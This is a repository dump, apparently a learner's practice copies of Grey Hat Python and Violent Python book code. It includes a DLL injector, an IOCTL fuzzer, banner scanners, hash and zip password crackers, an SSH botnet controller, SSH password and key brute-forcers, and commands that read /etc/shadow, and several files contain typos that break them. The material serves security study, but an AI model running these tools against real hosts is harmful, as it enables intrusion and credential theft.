= 1) 87 | 88 | return "Hooks set, press F9 to continue the process." -------------------------------------------------------------------------------- /Grey-Hat-Python/src/injector.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | 3 | PROCESS_ALL_ACCESS = 4 | VIRTUAL_MEM 5 | PAGE_READWRITE 6 | 7 | def write_data( data, length ): 8 | 9 | pass 10 | 11 | 12 | # A switch to determine whether we want DLL or code injectio 13 | def inject_dll( dll_path ): 14 | 15 | dll_len = len(dll_path) 16 | 17 | write_data( dll_path, dll_len ) 18 | 19 | h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") 20 | h_load_library = kernel32.GetProcAddress( h_kernel32, "LoadLibraryA" ) 21 | 22 | dll_len = len(dll_path) 23 | 24 | # Get a handle to the process we are injecting into. 25 | h_process = kernel32.OpenProcess(pyfault_defines.PROCESS_ALL_ACCESS, False, pid) 26 | 27 | # Now we have to allocate enough bytes for the name and path of our DLL. 28 | arg_address = kernel32.VirtualAllocEx(h_process,0,dll_len,pyfault_defines.VIRTUAL_MEM,pyfault_defines.PAGE_READWRITE) 29 | 30 | # Write the path of the DLL into the previously allocated space. The pointer returned 31 | written = ctypes.c_int(0) 32 | kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, ctypes.byref(written)) 33 | 34 | # Get a handle directly to kernel32.dll 35 | h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") 36 | 37 | # Get the address of LoadLibraryA 38 | h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") 39 | 40 | # Now we try to create the remote thread, with the entry point of 41 | thread_id = ctypes.c_ulong(0) 42 | if not kernel32.CreateRemoteThread(h_process,None,0,h_loadlib,arg_address,0,ctypes.byref(thread_id)): 43 | raise faultx("CreateRemoteThread failed, unable to inject the DLL.") 44 | 45 | # Return the threadid of the newly injected DLL 46 | return True -------------------------------------------------------------------------------- /Grey-Hat-Python/src/ioctl_dump.py: -------------------------------------------------------------------------------- 1 | import pickle 2 | import driverlib 3 | 4 | from immlib import * 5 | 6 | def main( args ): 7 | 8 | ioctl_list = [] 9 | device_list = [] 10 | 11 | dbg = Debugger() 12 | driver = driverlib.Driver() 13 | 14 | # Grab the list of IOCTL codes and device names 15 | ioctl_list = driver.getIOCTLCodes() 16 | if not len(ioctl_list): 17 | return "[*] ERROR! Couldn't find any IOCTL codes." 18 | 19 | device_list = driver.getDeviceNames() 20 | if not len(device_list): 21 | return "[*] ERROR! Couldn't find any device names." 22 | 23 | # Now create a keyed dictionary and pickle it to a file 24 | master_list = {} 25 | master_list["ioctl_list"] = ioctl_list 26 | master_list["device_list"] = device_list 27 | 28 | fd = open( args[0], "wb") 29 | pickle.dump( master_list, fd ) 30 | fd.close() 31 | 32 | 33 | return "[*] SUCCESS! Saved IOCTL codes and device names to %s" % args[0] 34 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/ioctl_fuzzer.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import random 3 | from immlib import * 4 | 5 | class ioctl_hook( LogBpHook ): 6 | 7 | def __init__( self ): 8 | 9 | self.imm = Debugger() 10 | self.logfile = "C:\ioctl_log.txt" 11 | 12 | LogBpHook.__init__(self) 13 | 14 | def run( self, regs ): 15 | 16 | in_buf = "" 17 | 18 | # read the IOCTL code 19 | ioctl_code = self.imm.readLong( regs['ESP'] + 8 ) 20 | 21 | # read out the InBufferSize 22 | inbuffer_size = self.imm.readMemory( regs['ESP'] + 0x10, 4) 23 | inbuffer_size = struct.unpack( "= var_size_threshold: 26 | print "[*] Function: %s -> Stack Variable: %s (%d bytes)" % ( GetFunctionName(function), prev_member, distance ) 27 | 28 | else: 29 | 30 | prev_count = frame_counter 31 | prev_member = stack_var 32 | 33 | try: 34 | frame_counter = frame_counter + GetMemberSize(stack_frame, frame_counter) 35 | except: 36 | frame_counter += 1 37 | else: 38 | frame_counter += 1 39 | 40 | -------------------------------------------------------------------------------- /Grey-Hat-Python/src/sulley.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Grey-Hat-Python/src/sulley.zip -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Python 2 | Scratch space for learning python 3 | -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/banner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import sys 4 | 5 | def retBanner(ip, port): 6 | try: 7 | socket.setdefaulttimeout(2) 8 | s = socket.socket() 9 | s.connect((ip,port)) 10 | banner - s.recv(1024) 11 | return banner 12 | except: 13 | return 14 | 15 | def checkVulns(banner, filename): 16 | f = open(filename, 'r') 17 | for line in f.readlines(): 18 | if line.strip('\n') in banner: 19 | print '[+] Server is vunlnerable: ' + banner.strip('\n') 20 | 21 | 22 | def main(): 23 | if len(sys.argv) == 2: 24 | filename = sys.argv[1] 25 | if not os.path.isfile(filename): 26 | print '[-] ' + filename + ' does not exist.' 27 | exit(0) 28 | if not os.acces(filename, os.R_OK): 29 | print '[-] ' + filename + ' access denied.' 30 | exit(0) 31 | else: 32 | print '[-] usage: ' + str(sys.argv[0]) + ' ' 33 | exit(0) 34 | portlist = [21,22,25,80,110,443] 35 | 36 | for i in range(1,255): 37 | ip = '192.168.1.'+str(i) 38 | for port in portlist: 39 | banner = retBanner(ip1, port) 40 | if banner: 41 | print '[+] ' + ip + ': ' + banner1 42 | checkVulns(banner, filename) 43 | 44 | if __name__ == '__main__' : 45 | main() 46 | -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/crack.py: -------------------------------------------------------------------------------- 1 | import crypt 2 | def testPass(cryptPass): 3 | salt = cryptPass[0:2] 4 | dictFile = open('dictionary.txt','r') 5 | for word in dictFile.readlines(): 6 | word = word.strip('\n') 7 | cryptword = crypt.crypt(word,salt) 8 | if (cryptword == cryptPass) : 9 | print "[+] Found password: "+word+"\n" 10 | return 11 | print "[-] Password not found.\n" 12 | return 13 | 14 | def main(): 15 | passfile = open('passwords.txt') 16 | for line in passfile.readlines(): 17 | if ":" in line: 18 | user = line.split(':')[0] 19 | cryptPass = line.split(':')[1].strip(' ') 20 | print "[*] Cracking password for: "+user 21 | testPass(cryptPass) 22 | 23 | if __name__ == "__main__": 24 | main() 25 | 26 | -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/dictionary.txt: -------------------------------------------------------------------------------- 1 | apple 2 | 3 | orange 4 | 5 | egg 6 | 7 | lemon 8 | 9 | grapes 10 | 11 | secret 12 | 13 | strawberry 14 | 15 | password 16 | -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/evil.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Violent-Python/Chapter 1/evil.zip -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/evil/evil.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Violent-Python/Chapter 1/evil/evil.jpg -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/evil/note_to_adam.txt: -------------------------------------------------------------------------------- 1 | Sorry, you are too late - she ate the apple. 2 | -------- 3 | [Image downloaded from http://farm3.staticflickr.com/2422/4424308439_7bd9e833d3_z.jpg under Creative Commons License] -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/os.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | if len(sys.argv) == 2: 4 | filename = sys.argv[1] 5 | if not os.path.isfile(filename): 6 | print '[-] ' + filename + ' does not exist.' 7 | exit(0) 8 | if not os.access(filename, os.R_OK): 9 | print '[-] ' + filename + ' access denied.' 10 | exit(0) 11 | print '[+] Reading vulnerabilities from: ' + filename -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/passwords.txt: -------------------------------------------------------------------------------- 1 | victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh 2 | 3 | root: DFNFxgW7C05fo: 504:100: Markus Hess:/root:/bin/bash 4 | -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/sha512-crack.py: -------------------------------------------------------------------------------- 1 | import crypt 2 | def testPass(cryptPass): 3 | salt = cryptPass[0:11] 4 | print "[+] Salt: " + salt 5 | dictFile = open('dictionary.txt','r') 6 | for word in dictFile.readlines(): 7 | word = word.strip('\n') 8 | cryptword = crypt.crypt(word,salt) 9 | print "[+] Hash value: " + cryptword 10 | if (cryptword == cryptPass) : 11 | print "[+] Found password: "+word+"\n" 12 | return 13 | print "[-] Password not found.\n" 14 | return 15 | 16 | def main(): 17 | passfile = open('shadow.txt') 18 | for line in passfile.readlines(): 19 | if ":" in line: 20 | user = line.split(':')[0] 21 | cryptPass = line.split(':')[1].strip(' ') 22 | print "[*] Cracking password for: "+user 23 | testPass(cryptPass) 24 | 25 | if __name__ == "__main__": 26 | main() 27 | 28 | -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/shadow.txt: -------------------------------------------------------------------------------- 1 | root:$6$ms32yIGN$NyXj0YofkK14MpRwFHvXQW0yvUid.slJtgxHE2EuQqgD74S/GaGGs5VCnqeC.bS0MzTf/EFS3uspQMNeepIAc.:15503:0:99999:7::: -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/unzip.py: -------------------------------------------------------------------------------- 1 | import zipfile 2 | from threading import Thread 3 | import optparse 4 | def extractFile(zFile, password): 5 | try: 6 | zFile.extractall(pwd=password) 7 | print '[+] Found password ' + password + '\n' 8 | except: 9 | return 10 | 11 | def main(): 12 | parser = optparse.OptionParser(usage = "usage: %prog " + "-f -d ") 13 | parser.add_option('-f', dest='zname', type='string', help='specify zip file') 14 | parser.add_option('-d', dest='dname', type='string', help='specify dictionary file') 15 | (options, args) = parser.parse_args() 16 | if (options.zname == None) | (options.dname == None): 17 | print parser.usage 18 | exit(0) 19 | else: 20 | zname = options.zname 21 | dname = options.dname 22 | zFile = zipfile.ZipFile(zname) 23 | passfile = open(dname) 24 | for line in passfile.readlines(): 25 | password = line.strip('\n') 26 | t = Thread(target=extractFile, args=(zFile, password)) 27 | t.start() 28 | 29 | if __name__ == '__main__': 30 | main() 31 | 32 | 33 | -------------------------------------------------------------------------------- /Violent-Python/Chapter 1/vuln-banners.txt: -------------------------------------------------------------------------------- 1 | 3Com 3CDaemon FTP Server Version 2.0 2 | Ability Server 2.34 3 | CCProxy Telnet Service Ready 4 | ESMTP TABS Mail Server for Windows NT 5 | FreeFloat Ftp Server (Version 1.00) 6 | IMAP4rev1 MDaemon 9.6.4 ready 7 | MailEnable Service, Version: 0-1.54 8 | NetDecision-HTTP-Server 1.0 9 | PSO Proxy 0.9 10 | SAMBAR 11 | Sami FTP Server 2.0.2 12 | Spipe 1.0 13 | TelSrv 1.5 14 | WDaemon 6.8.5 15 | WinGate 6.1.1 16 | Xitami 17 | YahooPOPs! Simple Mail Transfer Service Ready 18 | -------------------------------------------------------------------------------- /Violent-Python/Chapter 2/port-scanner.py: -------------------------------------------------------------------------------- 1 | import optparse 2 | from socket import * 3 | from threading import * 4 | screenLock = Semaphore(value=1) 5 | 6 | def connScan(tgtHost, tgtPort) : 7 | try : 8 | connSkt = socket(AF_INET,SOCK_STREAM) 9 | connSkt.connect((tgtHost, tgtPort)) 10 | connSkt.send('GET / HTTP/1.0\r\n\r\n') 11 | results = connSkt.recv(100) 12 | screenLock.acquire() 13 | print '[+] %d/tcp open'% tgtPort 14 | print '[+] ' + str(results) 15 | connSkt.close() 16 | except : 17 | screenLock.acquire() 18 | print '[-] %d/tcp closed\n'% tgtPort 19 | finally: 20 | screenLock.release() 21 | connSkt.close() 22 | 23 | def portScan(tgtHost, tgtPorts) : 24 | try : 25 | tgtIP = gethostbyname(tgtHost) 26 | except : 27 | print "[-] Cannot resolve '%s': Unknown host"%tgtHost 28 | return 29 | try : 30 | tgtName = gethostbyaddr(tgtIP) 31 | print '\n[+] Scan Results for: ' + tgtName[0] 32 | except : 33 | print '\n[+] Scan Results for: ' + tgtIP 34 | setdefaulttimeout(1) 35 | for tgtPort in tgtPorts : 36 | #print 'Scanning port ' + tgtPort 37 | #connScan(tgtHost, int(tgtPort)) 38 | t = Thread(target=connScan, args=(tgtHost,int(tgtPort))) 39 | t.start() 40 | 41 | 42 | def main() : 43 | parser = optparse.OptionParser('usage%prog -H -p ') 44 | parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') 45 | parser.add_option('-p', dest='tgtPort', type='string', help='specify target port[s] separated by comma') 46 | (options, args) = parser.parse_args() 47 | tgtHost = options.tgtHost 48 | tgtPorts = str(options.tgtPort).split(',') 49 | if (tgtHost == None) | (tgtPorts == None) : 50 | print parser.usage 51 | exit(0) 52 | portScan(tgtHost, tgtPorts) 53 | 54 | if __name__ == '__main__' : 55 | main() -------------------------------------------------------------------------------- /Violent-Python/Chapter 2/python-nmap.py: -------------------------------------------------------------------------------- 1 | import nmap 2 | import optparse 3 | def nmapScan(tgtHost, tgtPort): 4 | nmScan = nmap.PortScanner() 5 | nmScan.scan(tgtHost,tgtPort) 6 | state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state'] 7 | print "[*] " + tgtHost + " tcp/" + tgtPort + " " + state 8 | 9 | def main() : 10 | parser = optparse.OptionParser('usage%prog '+ '-H -p ') 11 | parser.add_option('-H', dest='tgtHost', type='string', help='specify target port[s] separated by comma') 12 | parser.add_option('-p', dest='tgtPort', type='string', help='specify target port[s] separated by comma') 13 | (options, args) = parser.parse_args() 14 | tgtHost = options.tgtHost 15 | tgtPorts = str(options.tgtPort).split(',') 16 | if (tgtHost == None) | (tgtPorts[0] == None) : 17 | print parser.usage 18 | exit(0) 19 | for tgtPort in tgtPorts : 20 | nmapScan(tgtHost, tgtPort) 21 | 22 | if __name__ == '__main__' : 23 | main() 24 | -------------------------------------------------------------------------------- /Violent-Python/Chapter 2/ssh-bot.py: -------------------------------------------------------------------------------- 1 | import optparse 2 | import pxssh 3 | class Client: 4 | def __init__(self, host, user, password): 5 | self.host = host 6 | self.user = user 7 | self.password = password 8 | self.session = self.connect() 9 | def connect(self): 10 | try: 11 | s = pxssh.pxssh() 12 | s.login(self.host, self.user, self.password) 13 | return s 14 | except Exception, e: 15 | print e 16 | print '[-] Error Connection' 17 | def send_command(self, cmd): 18 | self.session.sendline(cmd) 19 | self.session.prompt() 20 | return self.session.before 21 | 22 | def botnetCommand(command): 23 | for client in botNet: 24 | output = client.send_command(command) 25 | print '[*] Output from ' + client.host 26 | print '[+] ' output + '\n' 27 | 28 | def addClient(host, user, password): 29 | client = Client(host, user, password) 30 | botNet.append(client) 31 | 32 | botNet = [] 33 | addClient('10.10.10.110', 'root', 'toor') 34 | addClient('10.10.10.120', 'root', 'toor') 35 | addClient('10.10.10.130', 'root', 'toor') 36 | 37 | botnetCommand('uname -v') 38 | botnetCommand('cat /etc/issue) 39 | -------------------------------------------------------------------------------- /Violent-Python/Chapter 2/ssh-test.py: -------------------------------------------------------------------------------- 1 | import pexpect 2 | PROMPT = ['#', '>>>', '> ','\$'] 3 | def send_command(child, cmd): 4 | child.sendline(cmd) 5 | child.expect(PROMPT) 6 | print child.before 7 | 8 | def connect(user, host, password): 9 | ssh_newkey = 'Are you sure you want to continue connecting' 10 | connStr = 'ssh ' + user + '@' + host 11 | child = pexpect.spawn(connStr) 12 | ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) 13 | if ret == 0 : 14 | print '[-] Error Connecting' 15 | return 16 | if ret == 1: 17 | child.sendline('yes') 18 | ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:']) 19 | if ret == 0 : 20 | print '[-] Error Connecting' 21 | return 22 | child.sendline(password) 23 | child.expect(PROMPT) 24 | return child 25 | 26 | def main(): 27 | host = 'localhost' 28 | user = 'root' 29 | password = 'toor' 30 | child = connect(user, host, password) 31 | send_command(child, 'cat /etc/shadow | grep root') 32 | 33 | if __name__ == '__main__': 34 | main() 35 | 36 | -------------------------------------------------------------------------------- /Violent-Python/README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | def main(): 3 | print("Hello World!") 4 | 5 | if __name__ == __main__ : 6 | main() 7 | ``` 8 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-1/1-vulnScanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import socket 4 | import os 5 | import sys 6 | 7 | 8 | def retBanner(ip, port): 9 | try: 10 | socket.setdefaulttimeout(2) 11 | s = socket.socket() 12 | s.connect((ip, port)) 13 | banner = s.recv(1024) 14 | return banner 15 | except: 16 | return 17 | 18 | 19 | def checkVulns(banner, filename): 20 | 21 | f = open(filename, 'r') 22 | for line in f.readlines(): 23 | if line.strip('\n') in banner: 24 | print '[+] Server is vulnerable: ' +\ 25 | banner.strip('\n') 26 | 27 | 28 | def main(): 29 | 30 | if len(sys.argv) == 2: 31 | filename = sys.argv[1] 32 | if not os.path.isfile(filename): 33 | print '[-] ' + filename +\ 34 | ' does not exist.' 35 | exit(0) 36 | 37 | if not os.access(filename, os.R_OK): 38 | print '[-] ' + filename +\ 39 | ' access denied.' 40 | exit(0) 41 | else: 42 | print '[-] Usage: ' + str(sys.argv[0]) +\ 43 | ' ' 44 | exit(0) 45 | 46 | portList = [21,22,25,80,110,443] 47 | for x in range(147, 150): 48 | ip = '192.168.95.' + str(x) 49 | for port in portList: 50 | banner = retBanner(ip, port) 51 | if banner: 52 | print '[+] ' + ip + ' : ' + banner 53 | checkVulns(banner, filename) 54 | 55 | 56 | if __name__ == '__main__': 57 | main() 58 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-1/2-passwdCrack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import crypt 4 | 5 | 6 | def testPass(cryptPass): 7 | salt = cryptPass[0:2] 8 | dictFile = open('dictionary.txt', 'r') 9 | for word in dictFile.readlines(): 10 | word = word.strip('\n') 11 | cryptWord = crypt.crypt(word, salt) 12 | if cryptWord == cryptPass: 13 | print '[+] Found Password: ' + word + '\n' 14 | return 15 | print '[-] Password Not Found.\n' 16 | return 17 | 18 | 19 | def main(): 20 | passFile = open('passwords.txt') 21 | for line in passFile.readlines(): 22 | if ':' in line: 23 | user = line.split(':')[0] 24 | cryptPass = line.split(':')[1].strip(' ') 25 | print '[*] Cracking Password For: ' + user 26 | testPass(cryptPass) 27 | 28 | 29 | if __name__ == '__main__': 30 | main() 31 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-1/3-zipCrack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import zipfile 4 | import optparse 5 | from threading import Thread 6 | 7 | 8 | def extractFile(zFile, password): 9 | try: 10 | zFile.extractall(pwd=password) 11 | print '[+] Found password ' + password + '\n' 12 | except: 13 | pass 14 | 15 | 16 | def main(): 17 | parser = optparse.OptionParser("usage %prog "+\ 18 | "-f -d ") 19 | parser.add_option('-f', dest='zname', type='string',\ 20 | help='specify zip file') 21 | parser.add_option('-d', dest='dname', type='string',\ 22 | help='specify dictionary file') 23 | (options, args) = parser.parse_args() 24 | if (options.zname == None) | (options.dname == None): 25 | print parser.usage 26 | exit(0) 27 | else: 28 | zname = options.zname 29 | dname = options.dname 30 | 31 | zFile = zipfile.ZipFile(zname) 32 | passFile = open(dname) 33 | 34 | for line in passFile.readlines(): 35 | password = line.strip('\n') 36 | t = Thread(target=extractFile, args=(zFile, password)) 37 | t.start() 38 | 39 | 40 | if __name__ == '__main__': 41 | main() 42 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-1/dictionary.txt: -------------------------------------------------------------------------------- 1 | apple 2 | orange 3 | egg 4 | lemon 5 | grapes 6 | secret 7 | strawberry 8 | password 9 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-1/evil.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/Violent-Python/Violent-Python-Examples/Chapter-1/evil.zip -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-1/passwords.txt: -------------------------------------------------------------------------------- 1 | victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh 2 | root: DFNFxgW7C05fo: 504:100: Markus Hess:/root:/bin/bash 3 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-1/vuln-banners.txt: -------------------------------------------------------------------------------- 1 | 3Com 3CDaemon FTP Server Version 2.0 2 | Ability Server 2.34 3 | CCProxy Telnet Service Ready 4 | ESMTP TABS Mail Server for Windows NT 5 | FreeFloat Ftp Server (Version 1.00) 6 | IMAP4rev1 MDaemon 9.6.4 ready 7 | MailEnable Service, Version: 0-1.54 8 | NetDecision-HTTP-Server 1.0 9 | PSO Proxy 0.9 10 | SAMBAR 11 | Sami FTP Server 2.0.2 12 | Spipe 1.0 13 | TelSrv 1.5 14 | WDaemon 6.8.5 15 | WinGate 6.1.1 16 | Xitami 17 | YahooPOPs! Simple Mail Transfer Service Ready 18 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/1-portScan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import optparse 5 | from socket import * 6 | from threading import * 7 | 8 | screenLock = Semaphore(value=1) 9 | 10 | def connScan(tgtHost, tgtPort): 11 | try: 12 | connSkt = socket(AF_INET, SOCK_STREAM) 13 | connSkt.connect((tgtHost, tgtPort)) 14 | connSkt.send('ViolentPython\r\n') 15 | results = connSkt.recv(100) 16 | screenLock.acquire() 17 | print '[+] %d/tcp open' % tgtPort 18 | print '[+] ' + str(results) 19 | except: 20 | screenLock.acquire() 21 | print '[-] %d/tcp closed' % tgtPort 22 | finally: 23 | screenLock.release() 24 | connSkt.close() 25 | 26 | def portScan(tgtHost, tgtPorts): 27 | try: 28 | tgtIP = gethostbyname(tgtHost) 29 | except: 30 | print "[-] Cannot resolve '%s': Unknown host" %tgtHost 31 | return 32 | 33 | try: 34 | tgtName = gethostbyaddr(tgtIP) 35 | print '\n[+] Scan Results for: ' + tgtName[0] 36 | except: 37 | print '\n[+] Scan Results for: ' + tgtIP 38 | 39 | setdefaulttimeout(1) 40 | for tgtPort in tgtPorts: 41 | t = Thread(target=connScan,args=(tgtHost,int(tgtPort))) 42 | t.start() 43 | 44 | def main(): 45 | parser = optparse.OptionParser('usage %prog '+\ 46 | '-H -p ') 47 | parser.add_option('-H', dest='tgtHost', type='string',\ 48 | help='specify target host') 49 | parser.add_option('-p', dest='tgtPort', type='string',\ 50 | help='specify target port[s] separated by comma') 51 | 52 | (options, args) = parser.parse_args() 53 | 54 | tgtHost = options.tgtHost 55 | tgtPorts = str(options.tgtPort).split(',') 56 | 57 | if (tgtHost == None) | (tgtPorts[0] == None): 58 | print parser.usage 59 | exit(0) 60 | 61 | portScan(tgtHost, tgtPorts) 62 | 63 | 64 | if __name__ == '__main__': 65 | main() 66 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/2-nmapScan.py: -------------------------------------------------------------------------------- 1 | import nmap 2 | import optparse 3 | 4 | def nmapScan(tgtHost,tgtPort): 5 | nmScan = nmap.PortScanner() 6 | nmScan.scan(tgtHost,tgtPort) 7 | state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state'] 8 | print "[*] " + tgtHost + " tcp/"+tgtPort +" "+state 9 | 10 | def main(): 11 | parser = optparse.OptionParser('usage %prog '+\ 12 | '-H -p ') 13 | parser.add_option('-H', dest='tgtHost', type='string',\ 14 | help='specify target host') 15 | parser.add_option('-p', dest='tgtPort', type='string',\ 16 | help='specify target port[s] separated by comma') 17 | 18 | (options, args) = parser.parse_args() 19 | 20 | tgtHost = options.tgtHost 21 | tgtPorts = str(options.tgtPort).split(',') 22 | 23 | if (tgtHost == None) | (tgtPorts[0] == None): 24 | print parser.usage 25 | exit(0) 26 | for tgtPort in tgtPorts: 27 | nmapScan(tgtHost, tgtPort) 28 | 29 | 30 | if __name__ == '__main__': 31 | main() 32 | 33 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/3-botNet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import optparse 4 | import pxssh 5 | 6 | 7 | class Client: 8 | 9 | def __init__(self, host, user, password): 10 | self.host = host 11 | self.user = user 12 | self.password = password 13 | self.session = self.connect() 14 | 15 | def connect(self): 16 | try: 17 | s = pxssh.pxssh() 18 | s.login(self.host, self.user, self.password) 19 | return s 20 | except Exception, e: 21 | print e 22 | print '[-] Error Connecting' 23 | 24 | def send_command(self, cmd): 25 | self.session.sendline(cmd) 26 | self.session.prompt() 27 | return self.session.before 28 | 29 | 30 | def botnetCommand(command): 31 | for client in botNet: 32 | output = client.send_command(command) 33 | print '[*] Output from ' + client.host 34 | print '[+] ' + output 35 | 36 | 37 | def addClient(host, user, password): 38 | client = Client(host, user, password) 39 | botNet.append(client) 40 | 41 | 42 | botNet = [] 43 | addClient('127.0.0.1', 'root', 'toor') 44 | addClient('127.0.0.1', 'root', 'toor') 45 | addClient('127.0.0.1', 'root', 'toor') 46 | 47 | botnetCommand('uname -v') 48 | botnetCommand('cat /etc/issue') 49 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/3-bruteKey.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import pexpect 4 | import optparse 5 | import os 6 | from threading import * 7 | 8 | maxConnections = 5 9 | connection_lock = BoundedSemaphore(value=maxConnections) 10 | Stop = False 11 | Fails = 0 12 | 13 | 14 | def connect(user,host,keyfile,release): 15 | global Stop 16 | global Fails 17 | try: 18 | perm_denied = 'Permission denied' 19 | ssh_newkey = 'Are you sure you want to continue' 20 | conn_closed = 'Connection closed by remote host' 21 | opt = ' -o PasswordAuthentication=no' 22 | connStr = 'ssh ' + user +\ 23 | '@' + host + ' -i ' + keyfile + opt 24 | child = pexpect.spawn(connStr) 25 | ret = child.expect([pexpect.TIMEOUT,perm_denied,\ 26 | ssh_newkey,conn_closed,'$','#',]) 27 | if ret == 2: 28 | print '[-] Adding Host to ~/.ssh/known_hosts' 29 | child.sendline('yes') 30 | connect(user, host, keyfile, False) 31 | elif ret == 3: 32 | print '[-] Connection Closed By Remote Host' 33 | Fails += 1 34 | elif ret > 3: 35 | print '[+] Success. ' + str(keyfile) 36 | Stop = True 37 | finally: 38 | if release: 39 | connection_lock.release() 40 | 41 | 42 | def main(): 43 | parser = optparse.OptionParser('usage %prog -H '+\ 44 | ' -u -d ') 45 | parser.add_option('-H', dest='tgtHost', type='string',\ 46 | help='specify target host') 47 | parser.add_option('-d', dest='passDir', type='string',\ 48 | help='specify directory with keys') 49 | parser.add_option('-u', dest='user', type='string',\ 50 | help='specify the user') 51 | 52 | (options, args) = parser.parse_args() 53 | host = options.tgtHost 54 | passDir = options.passDir 55 | user = options.user 56 | 57 | if host == None or passDir == None or user == None: 58 | print parser.usage 59 | exit(0) 60 | 61 | for filename in os.listdir(passDir): 62 | if Stop: 63 | print '[*] Exiting: Key Found.' 64 | exit(0) 65 | if Fails > 5: 66 | print '[!] Exiting: '+\ 67 | 'Too Many Connections Closed By Remote Host.' 68 | print '[!] Adjust number of simultaneous threads.' 69 | exit(0) 70 | connection_lock.acquire() 71 | fullpath = os.path.join(passDir, filename) 72 | print '[-] Testing keyfile ' + str(fullpath) 73 | t = Thread(target=connect,\ 74 | args=(user, host, fullpath, True)) 75 | child = t.start() 76 | 77 | 78 | if __name__ == '__main__': 79 | main() 80 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/3-pxsshCommand.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import pxssh 4 | 5 | 6 | def send_command(s, cmd): 7 | s.sendline(cmd) 8 | s.prompt() 9 | print s.before 10 | 11 | 12 | def connect(host, user, password): 13 | try: 14 | s = pxssh.pxssh() 15 | s.login(host, user, password) 16 | return s 17 | except: 18 | print '[-] Error Connecting' 19 | exit(0) 20 | 21 | s = connect('127.0.0.1', 'root', 'toor') 22 | send_command(s, 'cat /etc/shadow | grep root') 23 | 24 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-2/3-sshBrute.py: -------------------------------------------------------------------------------- 1 | import pxssh 2 | import optparse 3 | import time 4 | from threading import * 5 | 6 | maxConnections = 5 7 | connection_lock = BoundedSemaphore(value=maxConnections) 8 | 9 | Found = False 10 | Fails = 0 11 | 12 | def connect(host, user, password, release): 13 | global Found 14 | global Fails 15 | 16 | try: 17 | s = pxssh.pxssh() 18 | s.login(host, user, password) 19 | print '[+] Password Found: ' + password 20 | Found = True 21 | except Exception, e: 22 | if 'read_nonblocking' in str(e): 23 | Fails += 1 24 | time.sleep(5) 25 | connect(host, user, password, False) 26 | elif 'synchronize with original prompt' in str(e): 27 | time.sleep(1) 28 | connect(host, user, password, False) 29 | 30 | finally: 31 | if release: connection_lock.release() 32 | 33 | def main(): 34 | parser = optparse.OptionParser('usage %prog '+\ 35 | '-H -u -F ' 36 | ) 37 | parser.add_option('-H', dest='tgtHost', type='string',\ 38 | help='specify target host') 39 | parser.add_option('-F', dest='passwdFile', type='string',\ 40 | help='specify password file') 41 | parser.add_option('-u', dest='user', type='string',\ 42 | help='specify the user') 43 | 44 | (options, args) = parser.parse_args() 45 | host = options.tgtHost 46 | passwdFile = options.passwdFile 47 